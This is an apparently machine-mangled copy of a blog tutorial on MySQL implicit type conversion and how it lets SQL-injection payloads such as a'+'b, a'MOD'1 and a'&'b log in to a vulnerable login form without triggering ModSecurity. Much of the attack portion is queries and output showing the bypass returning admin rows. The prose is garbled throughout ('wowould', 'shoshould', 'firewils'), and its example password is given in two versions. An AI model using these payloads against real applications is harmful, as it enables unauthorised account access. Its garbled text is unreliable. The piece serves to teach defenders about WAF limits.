Implicit type conversion in MySQL

In some programming ages, using arithmetic operators on elements that aren't numeric, give some weird results. In JavaScript for example,[ ] + { }Is an Object, while{ } + [ ]Appears to beNaN.

If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let's look at how MySQL behaves...

Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below.

mysql> SELECT 1+1;+-----+| 1+1 |+-----+|   2 |+-----+1 row in set (0.00 sec)

MySQL Type Conversion

Nothing special there. But what wowould happen if we 'd try to add a string and an integer...

mysql> SELECT 'foo'+1;+---------+| 'foo'+1 |+---------+|       1 |+---------+1 row in set, 1 warning (0.00 sec)mysql> SHOW WARNINGS;+---------+------+-----------------------------------------+| Level   | Code | Message                                 |+---------+------+-----------------------------------------+| Warning | 1292 | Truncated incorrect DOUBLE value: 'foo' |+---------+------+-----------------------------------------+1 row in set (0.00 sec)

A bit more interesting, adding1To'foo'Returns1. What happens here, is that'foo'Is converted to a DOUBLE. But since it clearly is non-numeric, it will be converted0(And generate the above warning). Still nothing new here...

The reference manual of MySQL says:

When an operator is used with operands of different types, type conversion occurs to make the operands compatible.

So what happens when we try to add two strings? These are of the same type, so shouldn't need to be converted, right?

mysql> SELECT 'a'+'b';+---------+| 'a'+'b' |+---------+|       0 |+---------+1 row in set, 2 warnings (0.00 sec)mysql> SHOW WARNINGS;+---------+------+---------------------------------------+| Level   | Code | Message                               |+---------+------+---------------------------------------+| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' || Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |+---------+------+---------------------------------------+2 rows in set (0.00 sec)

Guess not... So something else is going on here, it appears that+Is an arithmetic operator. That might explain why both strings are converted to numeric values.

So we know that the sum of two strings results in a numeric value, namely0. You can verify this by running the querySELECT 'a' + 'b' = 0, Which will result in1(Which is the sameTRUE). Now, what wowould happen if we compared the sum of two strings with another string. Let's see...

mysql> SELECT 'a'+'b'='c';+-------------+| 'a'+'b'='c' |+-------------+|           1 |+-------------+1 row in set, 3 warnings (0.00 sec)mysql> SHOW WARNINGS;+---------+------+---------------------------------------+| Level   | Code | Message                               |+---------+------+---------------------------------------+| Warning | 1292 | Truncated incorrect DOUBLE value: 'b' || Warning | 1292 | Truncated incorrect DOUBLE value: 'a' || Warning | 1292 | Truncated incorrect DOUBLE value: 'c' |+---------+------+---------------------------------------+3 rows in set (0.00 sec)

It appears that the string you compare the sum of two strings with, is converted to a numeric value (again0). This is a kind of behaviour that might come as unexpected. It is already ented somewhat unclearly in the MySQL Reference Manual as the last rule of how conversion occurs.

In all other cases, the arguments are compared as floating-point (real) numbers.

Now, this article is about bypassing Web Application firewils, so let's move on to that.

Bypassings WAFs

Say you have a login-system which is vulnerable to SQL-injection. since you have no clue how to fix this, you have put a WAF in front of your application. the login-system is likely to contain a query suchSELECT * FROM users WHERE username = '$_POST["username"]' AND password = '$_POST["password"]'.

A straighforward SQL-injection attack wocould be to entera' OR 1='1As the username and pick a random value for the password-field. This wowould result in the querySELECT * FROM users WHERE username = 'a' OR 1='1' AND password = 'foobar'. This will most likely log the attacker in as the first user in the users-table. But since you are using a WAF, you shocould be safe from this kind of attack.

If the attacker were a bit smarter, and use the information discussed above, he might entera'+'bAs username and the same for the password-field. This results in the following query being executed:SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b'. As we 've seen above,'a'+'b'Will be converted to a numeric value, and so willusernameAndpassword.

This means that the attacker will be logged in as the first user whose username and password doesn't start with a numeric value. if the superadmin's username wocould be 666 admin, the attacker cocould still enter'a'+'666As a username (which will be converted to the same value666adminWill be converted to, namely666).

I have stated that WAF's can be bypassed using this technique, but actually WAF's shoshould be read as "ModSecurity and probably others as well". You can testa'+'bAttack on one of ModSecurity's demonstration projects. Entering' OR 1='1As username and password will return the following error:

ModSecurity Alert Message:

Inbound Alert: 981242-Detects classic SQL injection probings 1/2

Outbound Alert: 981242-Detects classic SQL injection probings 1/2

Enteringa'+'bAs username and password will log you in, but no alerts or warnings are given by ModSecurity.

Until now, I have only talked about+Operator, but MySQL offers quite some other operators that will have the same effect. The MySQL 5.5 Reference Manual lists following operators as arithmetic operators:DIV,/,-,%,MOD,+And*. This makesa'MOD'1An attack vector as well, which seems very hard for a WAF to detect as a possible SQL-Injection attack.

Until now, I have only talked about arithmetic operator. MySQL offers quite some other functions as well, for example Bit functions. The functions that are usable in this case are&,|,^,<<And>>.

Until now, I have only talked about operators that make the right-hand side of the assignment evaluate first. This is because their operator precedence is higher than that= (comparison). With the operators and functions whose precedence is equal or lower than that=, ModSecurity does seem to detect an SQL attack. (' OR 1='1Attack vector falls under this part .)

The moral of this blog post is that you shoshould not depend on a WAF to protect your web application. a waf adds another layer of defense, but as you 've seen here, it's not all that difficult to bypass.

Examples

As an example I 've created following table, and populated it with 2 users.

CREATE TABLE `users` (  `userid` int(11) NOT NULL AUTO_INCREMENT,  `username` varchar(45) NOT NULL,  `password` varchar(45) NOT NULL,  PRIMARY KEY (`userid`));INSERT INTO `users` (`username`, `password`) VALUES ('admin', 'MySuperS3cretPass!');INSERT INTO `users` (`username`, `password`) VALUES ('666admin', 'nataSmaI');

Here are the results of some attack vectors.

mysql> SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b';+--------+----------+--------------------+| userid | username | password           |+--------+----------+--------------------+|      1 | admin    | MySuperS3cretPass! |+--------+----------+--------------------+1 row in set, 7 warnings (0.00 sec)mysql> SHOW WARNINGS;+---------+------+--------------------------------------------------------+| Level   | Code | Message                                                |+---------+------+--------------------------------------------------------+| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin'              || Warning | 1292 | Truncated incorrect DOUBLE value: 'b'                  || Warning | 1292 | Truncated incorrect DOUBLE value: 'a'                  || Warning | 1292 | Truncated incorrect DOUBLE value: 'MySuperS3cretPass!' || Warning | 1292 | Truncated incorrect DOUBLE value: 'b'                  || Warning | 1292 | Truncated incorrect DOUBLE value: 'a'                  || Warning | 1292 | Truncated incorrect DOUBLE value: '666admin'           |+---------+------+--------------------------------------------------------+7 rows in set (0.00 sec)

mysql> SELECT * FROM users WHERE username = 'a'+'666' AND password = 'a'+'b';+--------+----------+----------+| userid | username | password |+--------+----------+----------+|      2 | 666admin | nataSamI |+--------+----------+----------+1 row in set, 6 warnings (0.00 sec)

mysql> SELECT * FROM users WHERE username = 'a'MOD'1' AND password = 'a'MOD'1';+--------+----------+--------------------+| userid | username | password           |+--------+----------+--------------------+|      1 | admin    | MySuperS3cretPass! |+--------+----------+--------------------+1 row in set, 5 warnings (0.00 sec)

In the following example,'a'And'b'Are converted to the INTEGER0, Because&Is a Bit function.

mysql> SELECT * FROM users WHERE username = 'a'&'b' AND password = 'a'&'b';+--------+----------+--------------------+| userid | username | password           |+--------+----------+--------------------+|      1 | admin    | MySuperS3cretPass! |+--------+----------+--------------------+1 row in set, 7 warnings (0.00 sec)